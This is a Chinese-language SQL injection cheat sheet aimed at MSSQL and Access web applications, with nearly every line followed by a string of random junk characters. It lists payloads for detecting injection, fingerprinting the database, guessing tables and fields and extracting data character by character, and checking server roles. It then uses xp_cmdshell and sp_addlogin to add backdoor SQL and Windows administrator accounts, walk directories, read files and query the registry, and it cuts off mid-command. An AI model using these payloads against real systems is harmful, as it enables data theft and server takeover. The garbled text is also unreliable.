1.判断是否有注入;and 1=1 ;and 1=2 1.5lJ:[G
2.初步判断是否是mssql ;and user>0 |B0.*te6
$S|2'jc
3.注入参数是字符'and [查询条件] and ''=' 8/4Gr8o
wG&+*,}
4.搜索时没过滤参数的'and [查询条件] and '%25'=' HOb-q|w
uy,ySBY
5.判断数据库系统 A{7N#-h_
_z3Hl?qk=
;and (select count(*) from sysobjects)>0 mssql 5xEk 7g.
gUrb\X
;and (select count(*) from msysobjects)>0 access TF@HwF"#
{]a 6o[}u
R+s_uwS
jJ' LM>e
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,0~/ Cn
M~G1ZB
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 qM$~5uu
Nr#Y]9nA
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 HxVQeyOR
})l+-H"
9.(1)猜字段的ascii值(access) =&-hU|ur
[SW@ "C!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^z[-pTY
LX
%8a^?;
(2)猜字段的ascii值(mssql) cZ"
Ut
's]+.3">L1
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 _n3Jf<Y
Oc]&1>M
10.测试权限结构(mssql) I:~L!%
z"eh.&T
J6!t"eB+
;,z^!bD
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- g>[|/ z P
W
biUz2)
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- oadlyqlw#
=](c7HEQf
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- TwZvz[u
qdn\8Pn
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- q5$z:'zE
mX8A XWIa
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- %5_eos&<^)
,u}n!quA
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- EO|r
))n7.pB9/
;and 1=(select IS_MEMBER('db_owner'));-- NRS!Ox
@" ~Mglgw
N_vVEIO9
%@!Vx
11.添加mssql和系统的帐户 HY]vaA`
{PM)D [$i
;exec master.dbo.sp_addlogin username;-- X;5U@l
;exec master.dbo.sp_password null,username,password;-- X7sWu{n
tPS.r.0#^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- MwxfTH"wi
Q<L.!%vu}
;exec master.dbo.xp_cmdshell 'net user username password ,EgIH%*g
[@}{sH(#Ta
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
mI=^7'Mk
pGi "*oZD
;exec master.dbo.xp_cmdshell 'net user username password /add';-- @1#$
*JG?^G"l
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6e@
O88=
^g,[#Rh
cU25]V^{\
r\Wp\LfY&{
12.(1)遍历目录 j$*]'s&_hZ
XM/P2=;
;create table dirs(paths varchar(100), id int) +a&-'`7g
+q]
;insert dirs exec master.dbo.xp_dirtree 'c:\' a9GOY+;bf
b`n+[UCPtn
;and (select top 1 paths from dirs)>0 h2Ifq!(:
oHmU|
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) <69/ZI),Y{
/KEPPp
g 1\4Jb
u[U~`*i*rA
(2)遍历目录 gKg2Ntxj
8w|j Z@
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- yI9l*'
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 xZ@H{):
b?o T|@
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 VEd#LSh
O0"i>}g4
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 a4,bP*H
Do(7LidC5
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 qy@gW@IU
[E(DGt
J`O4]XRY
1!\!3xa V
13.mssql中的存储过程 xIF
z@9+k
RlX;c!K
xp_regenumvalues 注册表根键, 子键 GI$t8{M
',0~ \V
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) BTJs)E
]}9y>+>
xp_regread 根键,子键,键值名 $B4}('&4FQ
,"PwNv
;exec xp_regread iQ-;0<